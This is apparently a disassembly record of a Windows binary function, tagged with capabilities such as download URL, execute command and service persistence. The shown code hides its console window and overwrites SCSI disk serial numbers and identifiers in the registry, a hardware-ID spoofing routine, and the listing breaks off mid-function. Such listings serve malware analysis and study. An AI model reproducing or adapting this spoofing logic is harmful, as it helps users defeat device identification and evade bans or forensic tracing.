Function at 0x140052840
Capabilities:
Delete file
Download url
Execute command
Persist via windows service
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x11ea0]
mov eax, 0x11fa0
call fcn.14010fc80
sub rsp, rax
mov rax, qword [0x14012d010]
xor rax, rsp
mov qword [rbp + 0x11e90], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ef80
xor r15d, r15d
mov qword [rbp + 0xecd0], r15
lea rax, [rbp + 0xecd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xee08], 0x104
lea rax, [rbp + 0xee08]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xefd0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xecd0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052923
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xecd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ef80
mov qword [rbp + 0xeca8], r15
lea rax, [rbp + 0xeca8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedd0], 0x104
lea rax, [rbp + 0xedd0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf0e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xeca8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400529e2
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xeca8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ef80
mov qword [rbp + 0xeca0], r15
lea rax, [rbp + 0xeca0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedcc], 0x104
lea rax, [rbp + 0xedcc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf1f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xeca0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052aa1
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xeca0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ef80
mov qword [rbp + 0xec98], r15
lea rax, [rbp + 0xec98]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedc8], 0x104
lea rax, [rbp + 0xedc8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf300]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec98]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052b60
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec98]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec90], r15
lea rax, [rbp + 0xec90]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedc4], 0x104
lea rax, [rbp + 0xedc4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf410]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec90]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052c20
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xecb0], r15
lea rax, [rbp + 0xecb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedc0], 0x104
lea rax, [rbp + 0xedc0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf520]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xecb0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052ce0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xecb0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec88], r15
lea rax, [rbp + 0xec88]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedbc], 0x104
lea rax, [rbp + 0xedbc]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf630]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec88]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052da0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec88]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec80], r15
lea rax, [rbp + 0xec80]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedb8], 0x104
lea rax, [rbp + 0xedb8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf740]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec80]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052e60
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec78], r15
lea rax, [rbp + 0xec78]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_2Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedb4], 0x104
lea rax, [rbp + 0xedb4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf850]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec78]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052f20
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec70], r15
lea rax, [rbp + 0xec70]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_3Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedb0], 0x104
lea rax, [rbp + 0xedb0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xf960]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec70]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140052fe0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec68], r15
lea rax, [rbp + 0xec68]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_3Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedac], 0x104
lea rax, [rbp + 0xedac]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xfa70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec68]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400530a0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec60], r15
lea rax, [rbp + 0xec60]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_3Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xedd4], 0x104
lea rax, [rbp + 0xedd4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xfb80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053160
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec58], r15
lea rax, [rbp + 0xec58]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_4Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xeda8], 0x104
lea rax, [rbp + 0xeda8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xfc90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053220
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec50], r15
lea rax, [rbp + 0xec50]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_4Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xeda4], 0x104
lea rax, [rbp + 0xeda4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xfda0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400532e0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec48], r15
lea rax, [rbp + 0xec48]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_4Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xeda0], 0x104
lea rax, [rbp + 0xeda0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xfeb0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec48]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400533a0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec40], r15
lea rax, [rbp + 0xec40]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_5Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed9c], 0x104
lea rax, [rbp + 0xed9c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xffc0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053460
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec38], r15
lea rax, [rbp + 0xec38]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_5Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed98], 0x104
lea rax, [rbp + 0xed98]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x100d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053520
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec30], r15
lea rax, [rbp + 0xec30]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_5Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed94], 0x104
lea rax, [rbp + 0xed94]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x101e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400535e0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xec30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec28], r15
lea rax, [rbp + 0xec28]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed90], 0x104
lea rax, [rbp + 0xed90]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x102f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec28]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400536a0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec00], r15
lea rax, [rbp + 0xec00]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed8c], 0x104
lea rax, [rbp + 0xed8c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10400]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec00]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053760
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec00]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xecd8], r15
lea rax, [rbp + 0xecd8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed88], 0x104
lea rax, [rbp + 0xed88]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10510]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xecd8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x140053820
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.DeviceIdentifierPage
mov rcx, qword [rbp + 0xecd8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec20], r15
lea rax, [rbp + 0xec20]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed84], 0x104
lea rax, [rbp + 0xed84]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10620]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec20]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400538e0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.SerialNumber
mov rcx, qword [rbp + 0xec20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xed58], r15
lea rax, [rbp + 0xed58]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed80], 0x104
lea rax, [rbp + 0xed80]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10730]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xec00]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, rbx
nop
inc rax
cmp byte [rdi + rax], r15b
jne 0x1400539a0
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Identifier
mov rcx, qword [rbp + 0xed58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rsp + 0x38]
call fcn.140051dc0
mov rcx, rax
call fcn.14004ebe0
mov rdi, rax
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
mov qword [rbp + 0xec18], r15
lea rax, [rbp + 0xec18]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsiScsi_Port_1Scsi_Bus_1Target_Id_0Logical_Unit_Id_0
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0xed7c], 0x104
lea rax, [rbp + 0xed7c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10840]
